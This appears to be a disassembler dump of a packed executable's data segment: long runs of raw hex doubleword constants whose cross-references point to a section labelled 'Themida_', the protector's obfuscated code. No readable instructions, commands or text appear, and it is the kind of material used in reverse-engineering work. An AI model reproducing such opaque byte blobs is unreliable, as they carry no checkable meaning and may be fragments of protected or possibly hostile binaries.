		dd 36ABB132h, 36393A53h, 56EAA5DAh, 826BDE32h, 86B89FC8h
		dd 9F057A96h, 0F3B11495h, 6FAF0CB5h, 2E13D79Ah,	0D0DAEE7Bh
		dd 56EAB134h, 4B855BB3h, 0D5DB9693h, 5DB44DF6h,	65AEB132h
		dd 8B4CD65h, 78F8552Dh,	0AFB5E70Bh, 56EAB1DAh, 0BCF4EB32h
		dd 50A17180h, 564F58CEh, 0DAC1B132h, 55AB87A3h,	0F2CE3C35h
		dd 2AA3883Ch, 1C8606A2h, 5B9C7801h, 0FBAB132h, 0BF08572Eh
		dd 784B8DDh, 0B6EDE711h, 59CB6A01h, 0DDB34A85h,	5303D0FCh
		dd 9475B132h, 0A2F81C25h, 36A1ECBBh, 0BA6D3052h, 41BBBAh
		dd 0BFF9D06Ch, 56D5B121h, 0F1D2BFC7h, 0DFDCAF98h, 172DDE5Ch
		dd 0A531FF3Ah, 0DC9D002h, 0D701D153h, 76F0ECF0h, 5F3CEF33h
		dd 3AEAB132h, 0E16E64D3h, 81C77EA3h, 0A8E73A53h, 0AEA8AA4Bh
		dd 59578EB1h, 56A9ABB6h, 5A5FBE32h, 59EAB132h, 5675B7B8h
		dd 563DBE32h, 0D55DB132h, 0D3A14E0Dh, 5657B105h, 56A6373Dh
		dd 59B5B132h, 56EAB1B4h, 0D5AE0A32h, 0D5DBFCCEh, 51B4A5F5h
		dd 0EDAEB132h, 6B691416h, 0E342CEA5h, 0BF2A4ECDh, 56EAB139h
		dd 0DA010D5h, 0ADDCD92Eh, 0D5DA6E83h, 59AEB54Dh, 5657E0B6h
		dd 472FBE32h, 0BFD5B132h, 56EAB13Eh, 0EFD85D2Ch, 40DB80F6h
		dd 0CB285F23h, 0DD4C0652h, 29D4D0C1h, 0D2A4B13Eh, 56D5B118h
		dd 56EAB9DBh, 63EAEF32h, 3E970E99h, 566E5823h, 0AECEB132h
		dd 370F4865h, 56A7383Dh, 30B5B132h, 59656A89h, 5675B1BFh
		dd 1345D032h, 91DE44CEh, 5725BE26h, 0A357B132h,	0A95486DBh
		dd 0D8DA4DCDh, 56EAB133h, 460A32CBh, 223EBE37h,	365DB132h
		dd 292DD0CBh, 0D358B722h, 56ABB1BEh, 0E1DAD152h, 3E3C0BCCh
		dd 3014A8EBh, 3728ED89h, 42B4F0CAh, 5AEB132h, 9AED1BD9h
		dd 873C0EA7h, 0C4C13082h, 1C5B7D24h, 0AAF0EE2Fh, 0BFBEF6B9h
		dd 565DB121h, 0A4DD4DB4h, 988C31F4h, 0DE878FEh,	640A8780h
		dd 59CEB776h, 5675B0BCh, 9314932h, 5657583Eh, 63DDB132h
		dd 4C046115h, 0CE347A8Bh, 56D52BDBh, 0DD1F4832h, 539CB575h
		dd 0F5BAB132h, 0C1CB6017h, 0AAA2EEB9h, 5657CEDBh, 0DAA44D32h
		dd 56D5B13Ah, 56E8333Dh, 3715B132h, 59BEF6B9h, 565DA4BAh
		dd 56BE5832h, 968AB132h, 82A52801h, 4F19CF18h, 811F10B5h
		dd 9FEDB5Eh, 0D7DCD13Eh, 0EF73C5F3h, 49AF3664h,	52089A53h
		dd 56ABB4DBh, 20723532h, 0BD69FB90h, 5AF6BE37h,	0BFBAB132h
		dd 565DB135h, 4536D5CAh, 369C5B57h, 56ABB6DAh, 91C74532h
		dd 0BDE0A6CBh, 592E67B9h, 0D5DB488Dh, 595EA14Dh, 56AEB2B7h
		dd 0AE164432h, 0DF576819h, 0A3D4B06Eh, 0A9154E8Ah, 0DA7A44CDh
		dd 56BAB133h, 565808CEh
		dd 0A556B132h, 57D5BE99h, 0AEABB132h, 56D5A1DBh, 77BC1932h
		dd 4A1A9CD6h, 91B85E0Eh, 575C98DBh, 0AB70589Bh,	37A24ECDh
		dd 247B3052h, 599A71CBh, 56EAB3B4h, 37140432h, 0AE46F4B9h
		dd 565C3D3Dh, 9F56B132h, 0CFA73052h, 1C17435h, 330341B3h
		dd 37B5A61Ch, 57F7BEF1h, 0AFBAB132h, 0AA0C4862h, 5347D161h
		dd 0C157B132h, 0A640F04Ah, 56D5A5DBh, 0CD670432h, 0F3E76CCFh
		dd 1F750CAEh, 5708FF11h, 3C0DFE87h, 56BFD018h, 0CABB132h
		dd 951D5BB3h, 5A03B729h, 475B132h, 0DFFF46B2h, 9CCE08A0h
		dd 596821F7h, 5657A3BCh, 56A65832h, 519B132h, 494B60A4h
		dd 8312A0F3h, 360AF6B3h, 565DB7DBh, 3404B232h, 0BF1944FCh
		dd 56ABB13Dh, 1F0929B5h, 89981A50h, 9975526Ch, 37569BC0h
		dd 2CFE2BBFh, 0D1A1B729h, 5657B13Fh, 5620BE52h,	30D5B132h
		dd 0D20E73B3h, 56110953h, 0DFB5B132h, 565DB126h, 56AEBEDBh
		dd 4AB78532h, 0E75CBDCDh, 0FC8E2AB1h, 582EEB8h,	5675BBDBh
		dd 3534E132h, 6F81D9F0h, 0BEFC00F6h, 5657B5ECh,	56AA3C3Dh
		dd 0DD2DB132h, 56FE5839h, 56E6B132h, 0BC64E72Dh, 0ED296BA4h
		dd 950DC704h, 20E17B58h, 9790BC11h, 4E5CBE52h, 0BEEAB132h
		dd 5675B120h, 0A2EBA4A3h, 4E1433E9h, 0DCECC2FEh, 0B0EB3555h
		dd 30F147C7h, 4C4846B3h, 56415853h, 5580B132h, 0D3B5B579h
		dd 565DB133h, 596F8ACEh, 56576EB0h, 5F2CBE32h, 36D5B132h
		dd 54840E54h, 37A23A54h, 59AAFA31h, 565DA4BEh, 56BE5832h
		dd 1C1BB132h, 0D8942518h, 203AC1E2h, 7CAF3F28h,	0DB7AEA57h
		dd 56BAB120h, 565DBCDBh, 0E3A83632h, 0C5374B9Ch, 971A9471h
		dd 97EE2F81h, 56C0333Dh, 0D47AB132h, 56BAB134h,	64833152h
		dd 7E47D0CBh, 0BF57B132h, 56ABB126h, 0B36430A5h, 0C781FF73h
		dd 9EDF50A9h, 1B5EF069h, 0F43E1F0Eh, 56AECBDBh,	0E931D132h
		dd 0ECCDF374h, 0BFB44FE6h, 56EAB159h, 5675B9DBh, 7EAE5632h
		dd 1854AA65h, 19343C91h, 5951AD05h, 56ABBEB9h, 56DF5832h
		dd 142DB132h, 0A7A873A4h, 0DD44C40h, 59B462CDh,	94AEB132h
		dd 43C0D28Bh, 69AA4E35h, 29C0AE27h, 7E037E4Ch, 3675B132h
		dd 56BAB8DBh, 0A728DB32h, 62350FA8h, 37A2A7D1h,	6CDE2BBFh
		dd 0A92DB72Eh, 5E68BEE1h, 5975B132h, 56BAB3BFh,	0D3CD132h
		dd 56AEB7DBh, 73B55332h, 0FB384C8h, 5E50BECBh, 59EAB132h
		dd 5675B3BBh, 0EDBD132h, 564F3C3Dh, 5B47B132h, 4E57B132h
		dd 0BBBF1B97h, 4F7E6DBh, 0B1CC248Fh, 567C58F1h,	92AB132h
		dd 548FD26Ch, 3FDB93Eh,	5657B6DBh, 0C2DD3032h, 4EED3849h
		dd 0BE1F5DB9h, 5675B132h, 43503068h, 595BAAF4h,	56AEB0BDh
		dd 36AB4432h, 56ABB6DBh, 0E5543832h, 0BEE30CECh, 2CD60BBFh
		dd 30DAB729h, 0BE3D7EB9h, 56AEB138h, 7D8280E2h,	0F231A67Bh
		dd 378B4727h, 5EAF3A53h, 56723E3Dh, 0D5B5B132h,	565DB133h
		dd 36A938CAh, 5A123A53h, 52EC38C7h, 56D5BFDBh, 0C88B9832h
		dd 2A3111D6h, 0C733536Ch, 0DD90681Bh, 5E47A177h, 4C57B132h
		dd 0FF10DC9Bh, 0DF0B17DEh, 5303BD75h, 0B875B132h, 0E9286E64h
		dd 5949F4B9h, 56AEBFB6h, 565E5832h, 6851B132h, 0FB7B8F16h
		dd 0DFE9A7E1h, 0BF89A175h, 56BAB135h, 8C8F7A64h, 37C3B55Ah
		dd 53DDBE52h, 30ABB132h, 2B2C5AB3h, 9F8B43B9h, 5675BDDBh
		dd 54441B32h, 54AA76B2h, 5A9D744Dh, 564773F9h, 5723BE52h
		dd 0AAD5B132h, 0BF13D153h, 5675B13Ah, 6FCF9352h, 5D2312B1h
		dd 5F6B34F4h, 3610B727h, 0A7677AB3h, 8055BA39h,	4C82D03Fh
		dd 59DDA641h, 56BAB6B1h, 0E7EBD132h, 377D0E3Dh,	7E4604CDh
		dd 59CBB727h, 0DBB46185h, 4E980DB7h, 868A4D34h,	56B2373Dh
		dd 0D63DB132h, 0E1A1B7E3h, 3605D0E9h, 5974063Dh, 0DBB4708Dh
		dd 4D96F2B8h, 0D713D134h, 374C99C2h, 56575863h,	3DB4B132h
		dd 0B40DC45Fh, 68B1F75Fh, 463C61CDh, 0E7EAB132h, 0BB89B99Dh
		dd 0F3C0CB53h, 0D4156586h, 0C73469Ah, 564C393Dh, 0DBA4B132h
		dd 56D5B127h, 56EAA1DBh, 10604532h, 0D8DDD40h, 436AE704h
		dd 80E59095h, 15D53C33h, 36ADAA4Eh, 56D5BADAh, 2C84AB32h
		dd 0FDE81643h, 7D333DD5h, 7DE5E9C7h, 37E16F90h,	5A17063Dh
		dd 0BF733ACBh, 56D5B13Ah, 95307ECAh, 2CEE85A1h,	56A95860h
		dd 9C89B132h, 9B39FAC2h, 999487BCh, 33ABA8CDh, 4FBDD4CBh
		dd 59DBBED9h, 5675BCBCh, 56B25832h, 6227B132h, 0E2EFC52h
		dd 590D4956h, 56ABB0BDh, 95D64432h, 56E6313Dh, 0D67AB132h
		dd 56BAB134h, 565D3C3Dh, 0D427B132h, 5042A74Bh,	56AA3D3Dh
		dd 3720B132h, 56FF313Dh, 469CB132h, 0D3BAB132h,	0EFA8FACCh
		dd 49C2AB0Eh, 0A75FBB10h, 0C348A685h
		db 0F5h
byte_5E6279	db 51h,	0E9h, 0Ch	; DATA XREF: Themida_:0057BFBCo
		dd 5000000h, 0A0A5EE41h, 460FBA3Fh, 5296F914h, 0E8F5h
		dd 815A0000h, 1BC863EAh, 0AE96006h, 0BC000000h,	78506FD1h
		dd 0A63430E0h, 0F28B6696h, 0C8D0F61h, 0E9000000h, 7, 0E87CAEDFh
		dd 602F2599h, 88790AB9h, 11E958h, 31A80000h, 0BE54741Dh
		dd 8B59B12Dh, 11B58B16h, 61F0C7F3h, 81666052h, 6697D3F6h
		dd 61E85EBAh, 1679828Bh, 0DE90615h, 8A000000h, 193BACE5h
		dd 0CB2B9FD4h, 0ECA5251h, 0C64E6DB9h, 0E1F7F941h, 3830Fh
		dd 0F9600000h, 5F85A61h, 3039h,	0D6B70F60h, 3880Fh, 0B70F0000h
		dd 0FF2561C3h, 0E97FFFFFh, 6, 0EF18B2BDh, 8289A94Eh, 6151679h
		dd 0FE9h, 55645300h, 0E5154D5Fh, 4EB018ADh, 0F586F9A4h
		dd 78F0F5Ah, 0F000000h,	180h, 6059FC00h, 860Fh,	8B660000h
		dd 0FC361D1h, 18Dh
		db 0, 0F9h
word_5E6372	dw 0F551h		; DATA XREF: Themida_:0057BCD8o
		dd 7890F52h, 60000000h,	0B3D98B66h, 810F618Ch, 0Ch, 6820Fh
		dd 8E0F0000h, 0
		dd 0E8h, 0EA815A00h, 61BC96Ah, 0F08B60F5h, 0C1816656h
		dd 615F3D81h, 0F18B6660h, 0DE9F860h, 0B3000000h, 1BD07FA7h
		dd 6CEBBDE0h, 90C9FB1Eh, 0C88B6161h, 14E960h, 51970000h
		dd 89E31D86h, 0F652A5D0h, 0EDDBB575h, 0E301FB96h, 0B96682CDh
		dd 60611CB9h, 14E9h, 744CDD00h,	0C42A9AC5h, 0A2B65E68h
		dd 0D80880Ah, 0F3771587h, 7EBA66EDh, 6EE861DAh,	0F8FFFFFEh
		dd 14E9D233h, 0F8000000h, 3AC106DBh, 0B908C243h, 11F86549h
		dd 0CE0B5038h, 0F71CA13Ch, 880F60F1h, 1, 2830FFCh, 53000000h
		dd 10E9615Fh, 23000000h, 2266B130h, 0EA812ECBh,	0CEA08E4Fh
		dd 8BF00D8Bh, 12E9FCC2h, 93000000h, 7105C7EEh, 19E7AED8h
		dd 6D9F46D8h, 7EF19121h, 0E9605A49h, 6,	5841E9Fh, 820F3E50h
		dd 15h,	0FE8h, 30288700h, 0BC0CD60Ch, 0BFD0E3AEh, 0E380FE38h
		dd 0F9596158h, 1C8E0FC3h, 0F000000h, 168Ah, 11E900h, 3FBD0000h
		dd 0DBDDBCF1h, 8C81F875h, 5C492EE3h, 8B982B1Eh,	860F60C0h
		dd 2, 8B61D3B4h, 0C8E0FC0h, 0F000000h, 68Bh, 8D0F00h, 0F5000000h
		dd 91F4858Dh, 8160061Bh, 0AD6170D1h, 0EE844h, 77300000h
		dd 72936124h, 0EBF27677h, 0B3BA5B0Bh, 0D0FF615Ah, 7890Fh
		dd 8D0F0000h, 1, 0C18B66F5h, 78E0Fh, 820F0000h,	1, 4A858DFCh
		dd 0F5061BC8h, 258D8589h, 8DFC0615h, 1BC94385h,	8589F806h
		dd 61522A9h, 0F8BF0F60h, 9DF9C681h, 0B8617606h,	0
		dd 218D0FF9h, 60000000h, 0FE9h,	31E6C000h, 2B1CCC13h, 4C36A1D6h
		dd 0A01FFA87h, 5E8h, 87BBD300h,	615E3BE3h, 840FC00Bh, 160h
		dd 0C585C6FCh, 56061509h, 8830Fh, 800F0000h, 2,	0DF686160h
		dd 0E9A9C530h, 7, 0F62A3C69h, 0FFDA9F3Dh, 152811B5h, 858DF906h
		dd 61872BCh, 12850Fh, 0DE90000h, 0C8000000h, 22F4F229h
		dd 200F4401h, 19812F37h, 0FD0FFFCh, 1C84h, 16850F00h, 0E9000000h
		dd 11h,	0AC58F826h, 0DAF21F3Ch,	0FF377088h, 73757CF1h
		dd 57605015h, 582FC080h, 8D61CB8Bh, 1528398Dh, 8B0F6006h
		dd 5, 8E38166h,	61FE8BD2h, 14E951h, 98D30000h, 6533CC58h
		dd 7EAA07CAh, 0F20ECF4Ch, 7127BC53h, 46AEBCAh, 1830Fh
		dd 68F80000h, 1000h, 9E9h, 3D30DF00h, 65D6C7E9h, 0B5FF0E7Fh
		dd 6150031h, 198B0Fh, 820F0000h, 13h, 0EE9h, 0BCF0F00h
		dd 834F152Fh, 0B2490C19h, 0F9DC34Ch, 0D85h, 8E900h, 0C030000h
		dd 6DC96EBBh, 0D0FF65DBh, 5E860h, 9E490000h, 800EE55Ch
		dd 665B6AC5h, 8B61C38Bh, 150031BDh, 8C0FF506h, 1Ah, 24BB6660h
		dd 0FE9E4h, 39DD0000h, 0FEC251DBh, 86D6B6EAh, 97C1AD84h
		dd 7F0361F3h, 8166603Ch, 8AAB11C3h, 0C78161D5h,	0F8h, 2447C7F8h
		dd 60000020h, 7E9h, 94A2500h, 71ECC27Fh, 0FFD9D8Dh, 8E90615h
		dd 0E0000000h, 0A8EA7025h, 0FA539AFh, 189h, 38BFC00h, 5E9h
		dd 0EDB67300h, 0C00B7783h, 3F840Fh, 51600000h, 9916B1BEh
		dd 0BE9593Bh, 25000000h, 0E5992836h, 4E19E5F9h,	8B611DB3h
		dd 9880F00h, 60000000h,	8166F28Bh, 61CD33C2h, 0E9044389h
		dd 0Dh,	0E5653445h, 196237FDh, 0AD3650CDh, 4CF6B9ABh, 5E80023h
		dd 5E000000h, 13068DAEh, 665FB7B1h, 605BE181h, 7045C781h
		dd 0B9660000h, 0F7BA92BBh, 6600001Bh, 78BF38Bh,	0B39EB957h
		dd 815B356Eh, 12CF79C0h, 8141B71Ah, 134A4EF0h, 0D3F08101h
		dd 0BB116DB0h, 23327830h, 8FC88B50h, 0AE807h, 0BBD40000h
		dd 67ACB1D6h, 51B19506h, 0EF835EFCh, 60565204h,	83595E61h
		dd 850F01EAh, 0FFFFFFB6h, 640BB66h, 10E8h, 421C5500h, 6F8A5A4Dh
		dd 0D701E33h, 2627DB77h, 5860FE1h, 0B8000000h, 75E318C9h
		dd 0C181F559h, 6D82h, 14E8h, 0E84B5300h, 1B112D9Eh, 643F0A33h
		dd 42A54081h, 7F4104BCh, 6858CAh, 66000000h, 5A1754BEh
		dd 1C8B5E52h, 66F96011h, 619F73BAh, 2EA2F381h, 0F3813CACh
		dd 2017944Bh, 7E9h, 62F65900h, 979B6F22h, 6359F381h, 0BE66554Fh
		dd 6053BF78h, 3880Fh, 8B660000h, 48F61D3h, 98F0F11h, 0F000000h
		dd 38Ch, 0A2E88000h, 274E41BEh,	4EA8358h, 0FA81E5B0h, 0FFFF9370h
		dd 36850Fh, 0F600000h, 28Dh, 0F5CB200h,	178Ah, 12E900h
		dd 0D7780000h, 29C187F9h, 71207969h, 96E8136Dh,	81FDF7C8h
		dd 21E961h, 0E6D10000h,	76B79A30h, 0AC741532h, 0D535BF66h
		dd 0FFFF61E9h, 2AB413FFh, 0EAB696DEh, 0E91143Eh, 0E9EA355Ch
		dd 23h,	46FF5581h
dword_5E68BC	dd 7 dup(0)			dd 0E9000000h, 0A98h, 1BD01168h, 7A22E906h, 2D68FFFAh
		dd 0E9061BD1h, 0FFFA7A18h, 1BD2A068h, 7A0EE906h, 0B268FFFAh
		dd 0E9061BD3h, 0FFFA7A04h, 1BD52F68h, 79FAE906h, 0D868FFFAh
		dd 0E9061BD6h, 0FFFA79F0h, 1BD7C768h, 79E6E906h, 987DFFFAh
		dd 3018E3E5h, 96907B4Dh, 321AE5E7h, 9C8E794Bh, 5A50EFE1h
		dd 0D1B3CAC0h, 4C3C4126h, 0D1B3CAC1h, 4E3E3F26h, 0C0DDD9D6h
		dd 0DCA72310h, 9F861969h, 432AC7DEh, 43FD4A3Ah,	4BF7F7F4h
		dd 6BB353E7h, 9ABBA7BEh, 28A729D6h, 8B263F3Eh, 0CC3DAA3h
		dd 0D9DE12A2h, 4049C55Dh, 0B86BECEFh, 25h, 1D6CC40Ah, 0E20A300Eh
		dd 9FCAB353h, 0DB791C06h, 7C6FA729h, 0CEA4D9D1h, 0CFD854E0h
		dd 276BECF7h, 0DFh, 0DE9F8699h,	35482AC7h, 0D7A6A12Ch
		dd 0BCC1AD58h, 51FCEB76h, 0D67F2657h, 83FAF5A0h, 27071401h
		dd 0AD3EDE6Ah, 0CD37FF2Ah, 0AD3EE35Ah, 14740904h, 0F0FF7E69h
		dd 960F6E65h, 231097DFh, 0DA673610h, 0CE61AD3Eh, 0A1D96346h
		dd 0F83EEB34h, 61CE1D9Bh, 5330B965h, 2B24B1B3h,	0E7A24B52h
		dd 69B67C01h, 0C583D0C0h, 0AB6AD490h, 0A428F5A7h, 0E0522BA5h
		dd 0AE3DF43Dh, 651810BDh, 0FBFC2F0Dh, 7198AD40h, 9CE1D382h
		dd 126B612Ch, 6E8BC3Eh,	0B559D0FAh, 88Ch, 0C5C7B697h, 0A527563Ah
		dd 789F4DAh, 9BED907Ch,	183FAF0h, 0F8DA34A2h, 8F780385h
		dd 0F39EEEh, 85800B7Dh,	130098F8h, 230E6633h, 0CF3F36A7h
		dd 0B393A486h, 0AD3EDEE6h, 0D2AB9FB6h, 224B22CBh, 0A9F0D7A2h
		dd 0ECA5BCC1h, 0C4F54345h, 300E1D6Ch, 0B353E20Ah, 7EFFE796h
		dd 1F082EE7h, 135A2306h, 3A896714h, 71F90406h, 0E991ECE4h
		dd 0E4E2D1BEh, 0A7292CB5h, 2FC32E7h, 0A7292C4Fh, 9851D99h
		dd 6BEC4880h, 0DA78h, 9F864A00h, 482AC7DEh, 0CD522C35h
		dd 79AD3EE3h, 0F29DEF8Eh, 8CDB82FBh, 456AFF34h,	0EF66A8F7h
		dd 0BCBAA946h, 0AD3ED79Dh, 0FB8266FFh, 0AC82AB62h, 0EB933F3Fh
		dd 5603B353h, 38452CD9h, 0F4A18E02h, 0DEAB83FAh, 0FE392F62h
		dd 29CA5100h, 5F1643A7h, 866C1916h, 48611C13h, 18C1E891h
		dd 31F5D162h, 6DAD4172h, 0AC9E2FBCh, 0C45162D1h, 0FFB6AFCEh
		dd 3C2B5603h, 0D272ADh,	11F8A665h, 7E662356h, 87AF66FFh
		dd 0E7967C07h, 6AB9371h, 0F69811FAh, 770h, 0C9BBC2B3h
		dd 51334A3Eh, 0CBBDC0A6h, 57394440h, 0D5B7C6ACh, 0A4866056h
		dd 230CF7D9h, 0AC9F6A5Ah, 1914FFD1h, 0BFAC6464h, 230D92BFh
		dd 3B9302A7h, 1B679724h, 0F29548h, 60391B3Ah, 0E68F1667h
		dd 5B523D8Fh, 8614A222h, 6716FA9Fh, 0C7DE973Eh,	4A3A432Ah
		dd 0F7F443FDh, 53F283F7h, 6FF623B3h, 3292EBE2h,	2A6D58E5h
		dd 2C7B1174h, 0A4CAA3B5h, 0B39BFEE9h, 20FAA3CAh, 2E6F218Eh
		dd 0EF079B19h, 0D76685F8h, 0E1E58DF0h, 574E2F16h, 0D2BA4B58h
		dd 1C024FABh, 0E7922BEBh, 0B1B8C5AAh, 82D43208h, 0EA2BEB1Bh
		dd 0C5C0D84Ch, 3ACBD8B8h, 1C614653h, 776E1D55h,	0CF835F06h
		dd 1D2BEB1Bh, 95204934h, 0D5C6DF9Eh, 0E09DD161h, 3F263EB6h
		dd 0CCC34E3Eh, 88F5DA6Bh, 92A2DF7Eh, 0E58CBD2Eh, 82D16FBCh
		dd 0AD618965h, 144534A7h, 5AA907B4h, 0D655F1CDh, 0D8813A9Ah
		dd 0C3A5F5D1h, 26452E92h, 0BECBB297h, 1B8B1CCh,	2BA73B39h
		dd 0F355DC5Eh, 68F28E3Dh, 0E363F0BDh, 7B2F74A4h, 6EC42E49h
		dd 382DAh, 1182EC00h, 0FCEB3AF6h, 53E81402h, 0F2D980B3h
		dd 85D4B2C1h, 17A729D5h, 9F320C62h, 612838A7h, 889B98E7h
		dd 0CEC9BFBh, 8FE79DAAh, 38B7F5B5h, 0F178A12Ch,	58D726A2h
		dd 48EAF75Eh, 0C7641532h, 5E2E4F36h, 5BC1BCB3h,	7D12DBAFh
		dd 0FDC66821h, 26000005h, 0AD583845h, 2DD8B8C5h, 0BF4A3A43h
		dd 2BD6B6C7h, 0D5543449h, 56270DE7h, 0D7A68B76h, 56270AF5h
		dd 0D9A48B76h, 54321FF7h, 0A7230D05h, 0C4B01E97h, 0CE4C376Ch
		dd 602C6945h, 0C168AD3Eh, 0B4EBB992h, 0EA906E7Dh, 0AAB35376h
		dd 0F9E3707Fh, 7A80AEC9h, 87223DF5h, 0BD4EDDA0h, 0DAA1620Ch
		dd 0E27DB5E0h, 0D7B1412Dh, 0E1D0A59h, 7F38A7Fh,	0A729554Ah
		dd 0DA571F4Ah, 3E69E6DCh, 1641D2ADh, 4CD88B85h,	7BAE77BFh
		dd 0F6877E09h, 7FD3806Fh, 0A5C0106Ah, 0EFD675BDh, 987A178Eh
		dd 3931BCE5h, 16801D44h, 0ED896A9Eh, 0B725D75h,	441D6AB9h
		dd 7CD97201h, 0EB000002h, 0CAB39924h, 0F48927A4h, 3EDE5BFAh
		dd 691039ADh, 0AD36ECCAh, 0C376B35Ah, 4A243724h, 0A723110Bh
		dd 6C11FC89h, 0DCA188C5h, 27660CC5h, 0ABB3845h,	0AE225825h
		dd 0C0A8F1E3h, 44EDA4BDh, 42BA14A7h, 6036E5F1h,	0F73F3E35h
		dd 0A7C29670h, 210CA723h, 600F85Ch, 57C03E0h, 4EB61h, 2A533800h
		dd 0C2BBAF5Ah, 2C5137C2h, 0C8B5B15Ch, 26573DC8h, 779107A6h
		dd 1DE8E895h, 0BC474934h, 5D28A8D5h, 0E1B90B72h, 0B4B0AE4h
		dd 5C49A723h, 1D6CC4E6h, 0ACEA300Eh, 0C576B35Ah, 0F997ED1Ah
		dd 89D69CA9h, 412CC9E0h, 0C6C14C3Ch, 2C23AEB7h,	0D2BD5851h
		dd 3017B2ABh, 0D05E544Dh, 27CF3064h, 0D1ACA3BBh, 28755162h
		dd 74A72365h, 0DC95E8E1h, 65226F4Fh, 0C772A723h, 77101F6Fh
		dd 7F6BE680h, 19Bh, 0DE9F8651h,	3A432AC7h, 0F443FD4Ah
		dd 0E74BF7F7h, 0BE6BB353h, 331DA8A7h, 771A244Ah, 71A729D6h
		dd 98F16D05h, 606BECEEh, 67h, 4A972472h, 31E16798h, 13AD1E54h
		dd 0B9427C4h, 112AA057h, 0E66B2867h, 8F823280h,	0D66C4AE7h
		dd 16B353BFh, 0D837C463h, 60A0D901h, 5302FCEBh,	41A729D5h
		dd 5B476218h, 0A729D63Ah, 0C5DCA188h, 273E3F28h, 63970B75h
		dd 0BBAE5F4Ch, 72026CC2h, 0F3F14BF8h, 9CABD2B8h, 571F0362h
		dd 0EC52CFD8h, 0B3276Bh, 86990000h, 0C8C7DE9Fh,	8025693Bh
		dd 0C66FF687h, 786DFD89h, 0DCA193C2h, 403D28C5h, 96A18C29h
		dd 3ECEF998h, 0C76E9BADh, 0E7B29D28h, 48F17805h, 6B4549F1h
		dd 0AD3ED3F8h, 0B2126B62h, 0CF5CAB05h, 5672A9EFh, 0F8F6EDB3h
		dd 0A7272259h, 50B7BF67h, 0FD6695ABh, 7706254Ch, 1DE8E895h
		dd 10D24637h, 94FC13BAh, 36E49DDh, 0C0B50000h, 4840CBBDh
		dd 0BEA85335h, 4A42CDBFh, 0C4A65133h, 6258D7B9h, 0E9DBA288h
		dd 7454291Eh, 0E9DBA289h, 7656271Eh, 88D5B19Eh,	14A72309h
		dd 372431A1h, 3EDF1A37h, 0BFBEA8ADh, 0CE7DB564h, 0ACD1BDDCh
		dd 5335FCB5h, 0D0C0BDA8h, 0DE9F8682h, 16BBC251h, 27A3F2CCh
		dd 48F1AD3Eh, 6ABD030Bh, 15109DC4h, 0AF38CB68h,	8E6D3402h
		dd 11BE1268h, 38CB68B7h, 2365B27Eh, 4BE88E6Ch, 53CCC36Bh
		dd 0B936E3B3h, 455C210Ch, 7805018Ch, 9CBBA7C2h,	0D0A729C7h
		dd 3CF4CE66h, 0E600FEEDh, 0CEAD3ED1h, 869B299Bh, 0C8C7DE9Fh
		dd 0AFEEC8DBh, 0EDAD3EDEh, 0DE93C23Ch, 3D2FAD3Eh, 0FC32E740h
		dd 0A5275651h, 0E251A018h, 324B44D1h, 52AC822Bh, 0B353E7F4h
		dd 5F1E1520h, 0BFE68F46h, 29D6B2E3h, 2CB836A7h,	0ECEED7B0h
		dd 0B011C26Bh, 0AC80C5A7h, 200B3BF3h, 0BD000000h, 0E1D6CC4h
		dd 53E20A30h, 69FCAB3h,	29DB791Ch, 73FF6FA7h, 0ECF7B2F7h
		dd 0DB466Bh, 86780000h,	2AC7DE9Fh, 0A5B63548h, 3EDE8CC9h
		dd 196108ADh, 392A18Eh,	0C988720Bh, 0CBAD3EDEh,	0D2BDD89Eh
		dd 0DECC8965h, 0A1C8AD3Eh, 0DEE5B492h, 82B7AD3Eh, 3017B2ABh
		dd 382FDE4Dh, 9F99ED45h, 0AD3EE3BCh, 4B3219A4h,	7D6823h
		dd 0C99260F3h, 0A9E1EE09h, 1B12FDD1h, 5F4C3B62h, 3E5C325Fh
		dd 0E59890ADh, 1F4A15BCh, 6FBE7A57h
		dd 5E748680h, 0F920B353h, 3F8E2A97h, 888D6B0h, 6514AD41h
		dd 425537C6h, 0A0AC295h, 0DAAA83AFh, 0DC403D2Fh, 0FA069610h
		dd 0C5790D84h, 5E000001h, 0D5C0106Dh, 6530A0DDh, 0C7B2126Bh
		dd 632E9EDFh, 0FDBC0C71h, 0FE7F758Fh, 6F0E038Eh, 0FE7F721Dh
		dd 710C038Eh, 0AC8A871Fh, 0A72308EDh, 8648B6AFh, 0AAF7D9A4h
		dd 0BE7EE919h, 97DF75E6h, 1C6C11FCh, 373724AEh,	0AD3EDF1Ah
		dd 2AA7CF7Ah, 0D6B03F8Eh, 0B353E230h, 9F2EBD6Ch, 20D9D0ADh
		dd 22734F5Ah, 0C6A729DCh, 3142BC28h, 29DC0855h,	0A8E594A7h
		dd 7978BEBFh, 6BECF830h, 0A7F2DA6Bh, 0EA73BAC3h, 0A05BEB43h
		dd 6D000000h, 13FA9F86h, 0F33AF36Ah, 8EC847F4h,	1BB57049h
		dd 0CBC14C53h, 4CCFABB2h, 0F6AD3E3Dh, 0D8A58A0Fh, 69642FA1h
		dd 823E8D14h, 16A7B433h, 0A0BD4934h, 0FCAD3E3Ch, 2A04254Dh
		dd 0B3533F08h, 9E2B9DCCh, 5A54D322h, 0AD40E6DDh, 485136C7h
		dd 2258215Ch, 66171445h, 0EC97F984h, 0DDA17706h, 2FFA06C9h
		dd 0D6D072h, 684D0000h,	0E0C8B315h, 66602B9Dh, 0E2CAB517h
		dd 6C5E299Bh, 8A00BF11h, 81037A70h, 1C6C11F6h, 81037A71h
		dd 1E6E0FF6h, 0F0AD8986h, 0ACA72307h, 0A48649B9h, 210CF7D9h
		dd 86DE6C5Ch, 0C8C7DE9Fh, 0DEBEDBDBh, 2BDEAD3Eh, 8D911E1Ch
		dd 6DC5C0D2h, 3696E7DEh, 53E02F89h, 5A00AB73h, 0B13EEBB3h
		dd 29512C24h, 0B04917Eh, 7C03522Ch, 0E891A723h,	0C3AAE991h
		dd 483FCABAh, 5302FCEFh, 41A7237Bh, 7B6F2E18h, 0FDF9A723h
		dd 0A7237B60h, 27520D3Ch, 656B574Eh, 54E80808h,	3B324ADAh
		dd 0D0B74242h, 0EFCA8767h, 9FCA663Eh, 4A42CFD6h, 66852A33h
		dd 0EFDC7975h, 91B8663Eh, 0EA730A04h, 0F181EB43h, 3D8FEED9h
		dd 5225B52h, 260C8D78h,	51581E57h, 3BDh, 66B41300h, 0D1D8A586h
		dd 2D344944h, 0CDD4A9A0h, 2F364740h, 0D4CDB0A2h, 332A5339h
		dd 0D6CFAE96h, 8128553Bh, 0E881FCF4h, 58545004h, 405h
		dd 4E88300h, 5C240487h,	3AD68h,	24348900h, 20DA68h, 24048900h
